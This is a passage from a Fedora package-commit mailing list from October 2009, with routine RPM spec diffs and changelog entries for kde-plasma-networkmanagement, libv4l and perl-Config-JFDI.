 %{_kde4_datadir}/kde4/services/networkmanagement_vpncui.desktop
 
+%files -n kde-plasma-networkmanagement
+%defattr(-,root,root,-)
+%{_kde4_datadir}/kde4/services/plasma-applet-networkmanagement.desktop
+%{_kde4_datadir}/kde4/services/kcm_networkmanagement_tray.desktop
+%{_kde4_datadir}/kde4/services/kded/networkmanagement.desktop
+%{_kde4_libdir}/kde4/plasma_applet_networkmanagement.so
+%{_kde4_libdir}/kde4/kded_networkmanagement.so
+%{_kde4_libdir}/kde4/kcm_networkmanagement_tray.so
+
 
 %changelog
+* Sun Oct 25 2009 Kevin Kofler <Kevin at tigcc.ticalc.org>  1:0.9-0.4.20090930svn
+- Build as knetworkmanager4 for F10 so KDE 3 KNM users are not forced to upgrade
+- Obsolete knetworkmanager4 (and keep replacing the KDE 3 KNM) on F11+
+
+* Wed Sep 30 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.3.20090930svn
+- New snapshot
+
+* Mon Sep 21 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.2.20090919svn
+- Add back missing Requires:
+
+* Mon Sep 21 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.1.20090919svn
+- Version seems to be .9 now
+- Fix trailing spaces
+- New snapshot
+
+* Tue Sep 15 2009 Rex Dieter <rdieter at fedoraproject.org> 1:0.8-0.22.20090815svn
+- Epoch: 1
+
+* Fri Aug 28 2009 Rex Dieter <rdieter at fedoraproject.org> 0.8-0.21.20090815svn
+- use knetworkmanager pkg names
+- quasi-artificially inflate version to 0.8 (for now), to simplify upgrade path
+  for knetworkmanager-0.7 (from F-10)
+- nuke -devel pkg
+- drop references to short-lived kde-plasma-networkmanager
+
+* Sat Aug 15 2009 Rex Dieter <rdieter at fedoraproject.org> 0.1-0.20.20090815svn
+- New snapshot
+- optimize scriptlets
+- -libs subpkg, multilib-friendly
+
+* Mon Jul 27 2009 Ben Boeckel <MathStuf at gmail.com> 0.1-0.19.20090726svn
+- Add BR on kdelibs-experimental-devel
+
+* Mon Jul 27 2009 Ben Boeckel <MathStuf at gmail.com> 0.1-0.18.20090726svn
+- New snapshot
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.1-0.17.20090602svn
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Tue Jun 09 2009 Rex Dieter <rdieter at fedoraproject.org> 0.1-0.16.20090602svn
+- Requires: NetworkManager
+
 * Wed Jun 03 2009 Ben Boeckel <MathStuf at gmail.com> 0.1-0.15.20090602svn
 - Remove patch and use wildcards instead
 
@@ -191,7 +288,7 @@ xdg-icon-resource forceupdate --theme ox
 
 * Sat Feb 7 2009 Ben Boeckel <MathStuf at gmail.com> 0.1-0.3.20090207svn
 - Add changelog
-- Added tarball creation 
+- Added tarball creation
 - Changed name to kde-plasma-networkmanagement
 
 * Tue Jan 13 2009 Rex Dieter <rdieter[AT]fedoraproject.org> 0.1-0.2.20090111svn



From jwrdegoede at fedoraproject.org  Sun Oct 25 08:17:50 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Sun, 25 Oct 2009 08:17:50 +0000 (UTC)
Subject: rpms/libv4l/devel .cvsignore, 1.21, 1.22 libv4l.spec, 1.22,
	1.23 sources, 1.21, 1.22
Message-ID: <20091025081750.B1ADA11C00E5@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/libv4l/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27853

Modified Files:
	.cvsignore libv4l.spec sources 
Log Message:
* Sun Oct 25 2009 Hans de Goede <hdegoede at redhat.com> 0.6.3-1
- New upstream release 0.6.3



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/libv4l/devel/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	9 Oct 2009 08:47:37 -0000	1.21
+++ .cvsignore	25 Oct 2009 08:17:50 -0000	1.22
@@ -1 +1 @@
-libv4l-0.6.2.tar.gz
+libv4l-0.6.3.tar.gz


Index: libv4l.spec
===================================================================
RCS file: /cvs/extras/rpms/libv4l/devel/libv4l.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- libv4l.spec	9 Oct 2009 08:47:37 -0000	1.22
+++ libv4l.spec	25 Oct 2009 08:17:50 -0000	1.23
@@ -1,5 +1,5 @@
 Name:           libv4l
-Version:        0.6.2
+Version:        0.6.3
 Release:        1%{?dist}
 Summary:        Collection of video4linux support libraries 
 Group:          System Environment/Libraries
@@ -75,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Hans de Goede <hdegoede at redhat.com> 0.6.3-1
+- New upstream release 0.6.3
+
 * Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> 0.6.2-1
 - New upstream release 0.6.2
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/libv4l/devel/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	9 Oct 2009 08:47:37 -0000	1.21
+++ sources	25 Oct 2009 08:17:50 -0000	1.22
@@ -1 +1 @@
-06689b91a356f6c0df0471eabc8221ca  libv4l-0.6.2.tar.gz
+f480bcbeaaf47257a278a10391ad2650  libv4l-0.6.3.tar.gz



From jwrdegoede at fedoraproject.org  Sun Oct 25 08:20:49 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Sun, 25 Oct 2009 08:20:49 +0000 (UTC)
Subject: rpms/libv4l/F-12 .cvsignore, 1.21, 1.22 libv4l.spec, 1.22,
	1.23 sources, 1.21, 1.22
Message-ID: <20091025082049.ABA0211C02BB@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/libv4l/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28910

Modified Files:
	.cvsignore libv4l.spec sources 
Log Message:
* Sun Oct 25 2009 Hans de Goede <hdegoede at redhat.com> 0.6.3-1
- New upstream release 0.6.3



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/libv4l/F-12/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	9 Oct 2009 08:48:54 -0000	1.21
+++ .cvsignore	25 Oct 2009 08:20:49 -0000	1.22
@@ -1 +1 @@
-libv4l-0.6.2.tar.gz
+libv4l-0.6.3.tar.gz


Index: libv4l.spec
===================================================================
RCS file: /cvs/extras/rpms/libv4l/F-12/libv4l.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- libv4l.spec	9 Oct 2009 08:48:54 -0000	1.22
+++ libv4l.spec	25 Oct 2009 08:20:49 -0000	1.23
@@ -1,5 +1,5 @@
 Name:           libv4l
-Version:        0.6.2
+Version:        0.6.3
 Release:        1%{?dist}
 Summary:        Collection of video4linux support libraries 
 Group:          System Environment/Libraries
@@ -75,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Hans de Goede <hdegoede at redhat.com> 0.6.3-1
+- New upstream release 0.6.3
+
 * Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> 0.6.2-1
 - New upstream release 0.6.2
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/libv4l/F-12/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	9 Oct 2009 08:48:54 -0000	1.21
+++ sources	25 Oct 2009 08:20:49 -0000	1.22
@@ -1 +1 @@
-06689b91a356f6c0df0471eabc8221ca  libv4l-0.6.2.tar.gz
+f480bcbeaaf47257a278a10391ad2650  libv4l-0.6.3.tar.gz



From jwrdegoede at fedoraproject.org  Sun Oct 25 08:21:39 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Sun, 25 Oct 2009 08:21:39 +0000 (UTC)
Subject: rpms/libv4l/F-11 .cvsignore, 1.21, 1.22 libv4l.spec, 1.21,
	1.22 sources, 1.21, 1.22
Message-ID: <20091025082139.AE18911C00E5@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/libv4l/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29135

Modified Files:
	.cvsignore libv4l.spec sources 
Log Message:
* Sun Oct 25 2009 Hans de Goede <hdegoede at redhat.com> 0.6.3-1
- New upstream release 0.6.3



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/libv4l/F-11/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	9 Oct 2009 09:05:12 -0000	1.21
+++ .cvsignore	25 Oct 2009 08:21:39 -0000	1.22
@@ -1 +1 @@
-libv4l-0.6.2.tar.gz
+libv4l-0.6.3.tar.gz


Index: libv4l.spec
===================================================================
RCS file: /cvs/extras/rpms/libv4l/F-11/libv4l.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- libv4l.spec	9 Oct 2009 09:05:12 -0000	1.21
+++ libv4l.spec	25 Oct 2009 08:21:39 -0000	1.22
@@ -1,5 +1,5 @@
 Name:           libv4l
-Version:        0.6.2
+Version:        0.6.3
 Release:        1%{?dist}
 Summary:        Collection of video4linux support libraries 
 Group:          System Environment/Libraries
@@ -75,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Hans de Goede <hdegoede at redhat.com> 0.6.3-1
+- New upstream release 0.6.3
+
 * Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> 0.6.2-1
 - New upstream release 0.6.2
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/libv4l/F-11/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	9 Oct 2009 09:05:12 -0000	1.21
+++ sources	25 Oct 2009 08:21:39 -0000	1.22
@@ -1 +1 @@
-06689b91a356f6c0df0471eabc8221ca  libv4l-0.6.2.tar.gz
+f480bcbeaaf47257a278a10391ad2650  libv4l-0.6.3.tar.gz



From kkofler at fedoraproject.org  Sun Oct 25 08:03:25 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun, 25 Oct 2009 08:03:25 +0000 (UTC)
Subject: rpms/kde-plasma-networkmanagement/F-11
	kde-plasma-networkmanagement.spec, 1.10, 1.11
Message-ID: <20091025080325.6E8A611C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25287/F-11

Modified Files:
	kde-plasma-networkmanagement.spec 
Log Message:
Sync from devel:

* Sun Oct 25 2009 Kevin Kofler <Kevin at tigcc.ticalc.org>  1:0.9-0.4.20090930svn
- Build as knetworkmanager4 for F10 so KDE 3 KNM users are not forced to upgrade
- Obsolete knetworkmanager4 (and keep replacing the KDE 3 KNM) on F11+


Index: kde-plasma-networkmanagement.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-11/kde-plasma-networkmanagement.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- kde-plasma-networkmanagement.spec	30 Sep 2009 15:49:05 -0000	1.10
+++ kde-plasma-networkmanagement.spec	25 Oct 2009 08:03:24 -0000	1.11
@@ -1,13 +1,22 @@
+%if 0%{?fedora} && 0%{?fedora} < 11
+%define have_knm3 1
+%endif
 
 %define disclaimer \
 This is alpha software with known issues.\
 We still recommend nm-applet from NetworkManager-gnome for production use.
 
+%if 0%{?have_knm3}
+%define knetworkmanager knetworkmanager4
+%else
+%define knetworkmanager knetworkmanager
+%endif
+
 Name:           kde-plasma-networkmanagement
 # to be a higher, natural upgrade from F-10's knetworkmanager-0.7
 Epoch:          1
 Version:        0.9
-Release:        0.3.20090930svn%{?dist}
+Release:        0.4.20090930svn%{?dist}
 Summary:        NetworkManager KDE 4 integration
 
 Group:          Applications/Internet
@@ -34,49 +43,63 @@ Requires: NetworkManager
 Obsoletes: kde-plasma-networkmanagement < 0.1-0.21
 Obsoletes: kde-plasma-networkmanagement-devel < 0.1-0.21
 
-Requires: knetworkmanager = %{?epoch:%{epoch}:}%{version}-%{release}
+Requires: %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release}
 
 %description
 A Plasma applet to control your wired and wireless network(s) in KDE 4 using
 the default NetworkManager service.
 %{?disclaimer}
 
-%package -n knetworkmanager
+%package -n %{knetworkmanager}
 Summary: NetworkManager KDE 4 integration
 Group: Applications/Internet
-Requires: knetworkmanager-libs%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
-%description -n knetworkmanager
+Requires: %{knetworkmanager}-libs%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
+%if 0%{?have_knm3}
+Conflicts: knetworkmanager < 0.8
+%else
+Obsoletes: knetworkmanager4 < %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
+%description -n %{knetworkmanager}
 KNetworkManager is a system tray applet for controlling network
 connections on systems that use the NetworkManager daemon.
 %{?disclaimer}
 
-%package -n knetworkmanager-libs
+%package -n %{knetworkmanager}-libs
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
-Requires: knetworkmanager = %{?epoch:%{epoch}:}%{version}-%{release} 
+Requires: %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release} 
 #Requires: kdelibs4%{?_isa} >= %{kde4_version}
-%description -n knetworkmanager-libs
+%if ! 0%{?have_knm3}
+Obsoletes: knetworkmanager4-libs < %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
+%description -n %{knetworkmanager}-libs
 %{summary}.
 
-%package -n knetworkmanager-openvpn
-Summary:        OpenVPN support for knetworkmanager
+%package -n %{knetworkmanager}-openvpn
+Summary:        OpenVPN support for %{knetworkmanager}
 Group:          Applications/Internet
-Requires:       knetworkmanager = %{?epoch:%{epoch}:}%{version}-%{release} 
+Requires:       %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release} 
 Requires:       NetworkManager-openvpn
 Obsoletes:      kde-plasma-networkmanagement-openvpn < %{?epoch:%{epoch}:}%{version}-%{release} 
 Provides:       kde-plasma-networkmanagement-openvpn = %{?epoch:%{epoch}:}%{version}-%{release}
-%description -n knetworkmanager-openvpn
+%if ! 0%{?have_knm3}
+Obsoletes:      knetworkmanager4-openvpn < %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
+%description -n %{knetworkmanager}-openvpn
 %{summary}.
 %{?disclaimer}
 
-%package -n knetworkmanager-vpnc
-Summary:        Vpnc support for knetworkmanager
+%package -n %{knetworkmanager}-vpnc
+Summary:        Vpnc support for %{knetworkmanager}
 Group:          Applications/Internet
-Requires:       knetworkmanager = %{?epoch:%{epoch}:}%{version}-%{release} 
+Requires:       %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release} 
 Requires:       NetworkManager-vpnc
 Obsoletes:      kde-plasma-networkmanagement-vpnc < %{?epoch:%{epoch}:}%{version}-%{release} 
 Provides:       kde-plasma-networkmanagement-vpnc = %{?epoch:%{epoch}:}%{version}-%{release} 
-%description -n knetworkmanager-vpnc
+%if ! 0%{?have_knm3}
+Obsoletes:      knetworkmanager4-vpnc < %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
+%description -n %{knetworkmanager}-vpnc
 %{summary}.
 %{?disclaimer}
 
@@ -109,11 +132,11 @@ rm -fv %{buildroot}%{_kde4_libdir}/libkn
 rm -rf %{buildroot}
 
 
-%post -n knetworkmanager
+%post -n %{knetworkmanager}
 touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null || :
 touch --no-create %{_kde4_iconsdir}/oxygen &> /dev/null || :
 
-%postun -n knetworkmanager
+%postun -n %{knetworkmanager}
 if [ $1 -eq 0 ] ; then
   touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null
   touch --no-create %{_kde4_iconsdir}/oxygen &> /dev/null || :
@@ -121,16 +144,16 @@ if [ $1 -eq 0 ] ; then
   gtk-update-icon-cache %{_kde4_iconsdir}/oxygen &> /dev/null
 fi
 
-%posttrans -n knetworkmanager
+%posttrans -n %{knetworkmanager}
 gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null || :
 gtk-update-icon-cache %{_kde4_iconsdir}/oxygen &> /dev/null
 
-%post -n knetworkmanager-libs -p /sbin/ldconfig
+%post -n %{knetworkmanager}-libs -p /sbin/ldconfig
 
-%postun -n knetworkmanager-libs -p /sbin/ldconfig
+%postun -n %{knetworkmanager}-libs -p /sbin/ldconfig
 
 
-%files -n knetworkmanager
+%files -n %{knetworkmanager}
 %defattr(-,root,root,-)
 %doc TODO DESIGN COPYING COPYING.LIB
 %{_sysconfdir}/dbus-1/system.d/NetworkManager-kde4.conf
@@ -149,7 +172,7 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 %{_kde4_datadir}/autostart/kde4-knetworkmanager-autostart.desktop
 %{_kde4_datadir}/applications/kde4/knetworkmanager.desktop
 
-%files -n knetworkmanager-libs
+%files -n %{knetworkmanager}-libs
 %defattr(-,root,root,-)
 %{_kde4_libdir}/libknmclient.so.4*
 %{_kde4_libdir}/libknminternals.so.4*
@@ -159,12 +182,12 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 %{_kde4_libdir}/libknm_nm.so
 %{_kde4_libdir}/libsolidcontrolfuture.so
 
-%files -n knetworkmanager-openvpn
+%files -n %{knetworkmanager}-openvpn
 %defattr(-,root,root,-)
 %{_kde4_libdir}/kde4/networkmanagement_openvpnui.so
 %{_kde4_datadir}/kde4/services/networkmanagement_openvpnui.desktop
 
-%files -n knetworkmanager-vpnc
+%files -n %{knetworkmanager}-vpnc
 %defattr(-,root,root,-)
 %{_kde4_libdir}/kde4/networkmanagement_vpncui.so
 %{_kde4_datadir}/kde4/services/networkmanagement_vpncui.desktop
@@ -180,6 +203,10 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sun Oct 25 2009 Kevin Kofler <Kevin at tigcc.ticalc.org>  1:0.9-0.4.20090930svn
+- Build as knetworkmanager4 for F10 so KDE 3 KNM users are not forced to upgrade
+- Obsolete knetworkmanager4 (and keep replacing the KDE 3 KNM) on F11+
+
 * Wed Sep 30 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.3.20090930svn
 - New snapshot
 



From kkofler at fedoraproject.org  Sun Oct 25 08:03:25 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun, 25 Oct 2009 08:03:25 +0000 (UTC)
Subject: rpms/kde-plasma-networkmanagement/F-12
	kde-plasma-networkmanagement.spec, 1.21, 1.22
Message-ID: <20091025080325.AF7B411C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25287/F-12

Modified Files:
	kde-plasma-networkmanagement.spec 
Log Message:
Sync from devel:

* Sun Oct 25 2009 Kevin Kofler <Kevin at tigcc.ticalc.org>  1:0.9-0.4.20090930svn
- Build as knetworkmanager4 for F10 so KDE 3 KNM users are not forced to upgrade
- Obsolete knetworkmanager4 (and keep replacing the KDE 3 KNM) on F11+


Index: kde-plasma-networkmanagement.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-12/kde-plasma-networkmanagement.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- kde-plasma-networkmanagement.spec	30 Sep 2009 15:38:37 -0000	1.21
+++ kde-plasma-networkmanagement.spec	25 Oct 2009 08:03:25 -0000	1.22
@@ -1,13 +1,22 @@
+%if 0%{?fedora} && 0%{?fedora} < 11
+%define have_knm3 1
+%endif
 
 %define disclaimer \
 This is alpha software with known issues.\
 We still recommend nm-applet from NetworkManager-gnome for production use.
 
+%if 0%{?have_knm3}
+%define knetworkmanager knetworkmanager4
+%else
+%define knetworkmanager knetworkmanager
+%endif
+
 Name:           kde-plasma-networkmanagement
 # to be a higher, natural upgrade from F-10's knetworkmanager-0.7
 Epoch:          1
 Version:        0.9
-Release:        0.3.20090930svn%{?dist}
+Release:        0.4.20090930svn%{?dist}
 Summary:        NetworkManager KDE 4 integration
 
 Group:          Applications/Internet
@@ -34,49 +43,63 @@ Requires: NetworkManager
 Obsoletes: kde-plasma-networkmanagement < 0.1-0.21
 Obsoletes: kde-plasma-networkmanagement-devel < 0.1-0.21
 
-Requires: knetworkmanager = %{?epoch:%{epoch}:}%{version}-%{release}
+Requires: %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release}
 
 %description
 A Plasma applet to control your wired and wireless network(s) in KDE 4 using
 the default NetworkManager service.
 %{?disclaimer}
 
-%package -n knetworkmanager
+%package -n %{knetworkmanager}
 Summary: NetworkManager KDE 4 integration
 Group: Applications/Internet
-Requires: knetworkmanager-libs%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
-%description -n knetworkmanager
+Requires: %{knetworkmanager}-libs%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
+%if 0%{?have_knm3}
+Conflicts: knetworkmanager < 0.8
+%else
+Obsoletes: knetworkmanager4 < %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
+%description -n %{knetworkmanager}
 KNetworkManager is a system tray applet for controlling network
 connections on systems that use the NetworkManager daemon.
 %{?disclaimer}
 
-%package -n knetworkmanager-libs
+%package -n %{knetworkmanager}-libs
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
-Requires: knetworkmanager = %{?epoch:%{epoch}:}%{version}-%{release} 
+Requires: %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release} 
 #Requires: kdelibs4%{?_isa} >= %{kde4_version}
-%description -n knetworkmanager-libs
+%if ! 0%{?have_knm3}
+Obsoletes: knetworkmanager4-libs < %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
+%description -n %{knetworkmanager}-libs
 %{summary}.
 
-%package -n knetworkmanager-openvpn
-Summary:        OpenVPN support for knetworkmanager
+%package -n %{knetworkmanager}-openvpn
+Summary:        OpenVPN support for %{knetworkmanager}
 Group:          Applications/Internet
-Requires:       knetworkmanager = %{?epoch:%{epoch}:}%{version}-%{release} 
+Requires:       %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release} 
 Requires:       NetworkManager-openvpn
 Obsoletes:      kde-plasma-networkmanagement-openvpn < %{?epoch:%{epoch}:}%{version}-%{release} 
 Provides:       kde-plasma-networkmanagement-openvpn = %{?epoch:%{epoch}:}%{version}-%{release}
-%description -n knetworkmanager-openvpn
+%if ! 0%{?have_knm3}
+Obsoletes:      knetworkmanager4-openvpn < %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
+%description -n %{knetworkmanager}-openvpn
 %{summary}.
 %{?disclaimer}
 
-%package -n knetworkmanager-vpnc
-Summary:        Vpnc support for knetworkmanager
+%package -n %{knetworkmanager}-vpnc
+Summary:        Vpnc support for %{knetworkmanager}
 Group:          Applications/Internet
-Requires:       knetworkmanager = %{?epoch:%{epoch}:}%{version}-%{release} 
+Requires:       %{knetworkmanager} = %{?epoch:%{epoch}:}%{version}-%{release} 
 Requires:       NetworkManager-vpnc
 Obsoletes:      kde-plasma-networkmanagement-vpnc < %{?epoch:%{epoch}:}%{version}-%{release} 
 Provides:       kde-plasma-networkmanagement-vpnc = %{?epoch:%{epoch}:}%{version}-%{release} 
-%description -n knetworkmanager-vpnc
+%if ! 0%{?have_knm3}
+Obsoletes:      knetworkmanager4-vpnc < %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
+%description -n %{knetworkmanager}-vpnc
 %{summary}.
 %{?disclaimer}
 
@@ -109,11 +132,11 @@ rm -fv %{buildroot}%{_kde4_libdir}/libkn
 rm -rf %{buildroot}
 
 
-%post -n knetworkmanager
+%post -n %{knetworkmanager}
 touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null || :
 touch --no-create %{_kde4_iconsdir}/oxygen &> /dev/null || :
 
-%postun -n knetworkmanager
+%postun -n %{knetworkmanager}
 if [ $1 -eq 0 ] ; then
   touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null
   touch --no-create %{_kde4_iconsdir}/oxygen &> /dev/null || :
@@ -121,16 +144,16 @@ if [ $1 -eq 0 ] ; then
   gtk-update-icon-cache %{_kde4_iconsdir}/oxygen &> /dev/null
 fi
 
-%posttrans -n knetworkmanager
+%posttrans -n %{knetworkmanager}
 gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null || :
 gtk-update-icon-cache %{_kde4_iconsdir}/oxygen &> /dev/null
 
-%post -n knetworkmanager-libs -p /sbin/ldconfig
+%post -n %{knetworkmanager}-libs -p /sbin/ldconfig
 
-%postun -n knetworkmanager-libs -p /sbin/ldconfig
+%postun -n %{knetworkmanager}-libs -p /sbin/ldconfig
 
 
-%files -n knetworkmanager
+%files -n %{knetworkmanager}
 %defattr(-,root,root,-)
 %doc TODO DESIGN COPYING COPYING.LIB
 %{_sysconfdir}/dbus-1/system.d/NetworkManager-kde4.conf
@@ -149,7 +172,7 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 %{_kde4_datadir}/autostart/kde4-knetworkmanager-autostart.desktop
 %{_kde4_datadir}/applications/kde4/knetworkmanager.desktop
 
-%files -n knetworkmanager-libs
+%files -n %{knetworkmanager}-libs
 %defattr(-,root,root,-)
 %{_kde4_libdir}/libknmclient.so.4*
 %{_kde4_libdir}/libknminternals.so.4*
@@ -159,12 +182,12 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 %{_kde4_libdir}/libknm_nm.so
 %{_kde4_libdir}/libsolidcontrolfuture.so
 
-%files -n knetworkmanager-openvpn
+%files -n %{knetworkmanager}-openvpn
 %defattr(-,root,root,-)
 %{_kde4_libdir}/kde4/networkmanagement_openvpnui.so
 %{_kde4_datadir}/kde4/services/networkmanagement_openvpnui.desktop
 
-%files -n knetworkmanager-vpnc
+%files -n %{knetworkmanager}-vpnc
 %defattr(-,root,root,-)
 %{_kde4_libdir}/kde4/networkmanagement_vpncui.so
 %{_kde4_datadir}/kde4/services/networkmanagement_vpncui.desktop
@@ -180,6 +203,10 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sun Oct 25 2009 Kevin Kofler <Kevin at tigcc.ticalc.org>  1:0.9-0.4.20090930svn
+- Build as knetworkmanager4 for F10 so KDE 3 KNM users are not forced to upgrade
+- Obsolete knetworkmanager4 (and keep replacing the KDE 3 KNM) on F11+
+
 * Wed Sep 30 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.3.20090930svn
 - New snapshot
 



From iarnell at fedoraproject.org  Sun Oct 25 09:03:50 2009
From: iarnell at fedoraproject.org (Iain Arnell)
Date: Sun, 25 Oct 2009 09:03:50 +0000 (UTC)
Subject: rpms/perl-Config-JFDI/devel .cvsignore, 1.4,
	1.5 perl-Config-JFDI.spec, 1.4, 1.5 sources, 1.4, 1.5
Message-ID: <20091025090351.077F311C00E5@cvs1.fedora.phx.redhat.com>

Author: iarnell

Update of /cvs/pkgs/rpms/perl-Config-JFDI/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10045

Modified Files:
	.cvsignore perl-Config-JFDI.spec sources 
Log Message:
* Sun Oct 25 2009 Iain Arnell <iarnell at gmail.com> 0.064-1
- update to latest upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Config-JFDI/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	25 Jun 2009 03:28:39 -0000	1.4
+++ .cvsignore	25 Oct 2009 09:03:48 -0000	1.5
@@ -1 +1 @@
-Config-JFDI-0.063.tar.gz
+Config-JFDI-0.064.tar.gz


Index: perl-Config-JFDI.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Config-JFDI/devel/perl-Config-JFDI.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- perl-Config-JFDI.spec	26 Jul 2009 04:37:36 -0000	1.4
+++ perl-Config-JFDI.spec	25 Oct 2009 09:03:48 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           perl-Config-JFDI
-Version:        0.063
-Release:        2%{?dist}
+Version:        0.064
+Release:        1%{?dist}
 Summary:        Just * Do it: A Catalyst::Plugin::ConfigLoader-style layer over Config::Any
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -57,6 +57,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Sun Oct 25 2009 Iain Arnell <iarnell at gmail.com> 0.064-1
+- update to latest upstream release
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.063-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Config-JFDI/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	25 Jun 2009 03:28:39 -0000	1.4
+++ sources	25 Oct 2009 09:03:48 -0000	1.5
@@ -1 +1 @@
-908f2a01cae3a882340501d3f008a741  Config-JFDI-0.063.tar.gz
+24bbe8ba39d5d19e539483639a0e489b  Config-JFDI-0.064.tar.gz



From sharkcz at fedoraproject.org  Sun Oct 25 09:25:28 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
